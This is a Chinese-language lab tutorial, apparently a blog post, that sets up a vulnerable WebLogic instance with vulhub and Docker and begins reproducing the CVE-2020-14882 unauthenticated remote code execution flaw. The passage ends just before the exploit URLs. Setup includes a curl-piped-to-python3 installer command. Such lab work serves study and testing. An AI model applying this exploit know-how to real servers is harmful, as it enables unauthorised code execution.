关于WebLogic环境搭建和漏洞复现

一、环境搭建

使用kali系统安装docker，再在docker上安装环境，这里以CVE-2020-14882为例

在kali进入root用户，输入

git clone https://github.com/vulhub/vulhub.git

cd ./vulhub/weblogic/CVE-2020-14882

//此命令需要python3环境，详见
​curl -s https://bootstrap.pypa.io/get-pip.py | python3

//此命令需要安装docker服务，详见
service docker start

pip install docker-compose

docker-compose up -d 

安装完成后，若能成功访问http://kali-IP:7001/console,即部署完成

二、漏洞复现

1）Oracle WebLogic Server 远程代码执行漏洞（CVE-2020-14882）

漏洞描述

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件，且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后，远程且未经授权的攻击者可以直接在服务端执行任意代码，获取系统权限。

漏洞影响

Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0

在登陆界面地址栏输入任意一条

http:/